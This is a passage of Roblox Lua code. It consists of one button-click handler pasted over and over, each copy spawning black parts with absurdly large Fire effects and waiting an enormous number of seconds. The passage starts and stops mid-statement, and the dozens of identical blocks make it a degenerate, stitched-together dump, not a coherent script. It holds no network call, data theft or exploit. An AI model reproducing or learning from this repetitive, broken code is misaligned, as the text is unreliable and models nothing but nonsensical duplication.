wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end)script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end)script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end)script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 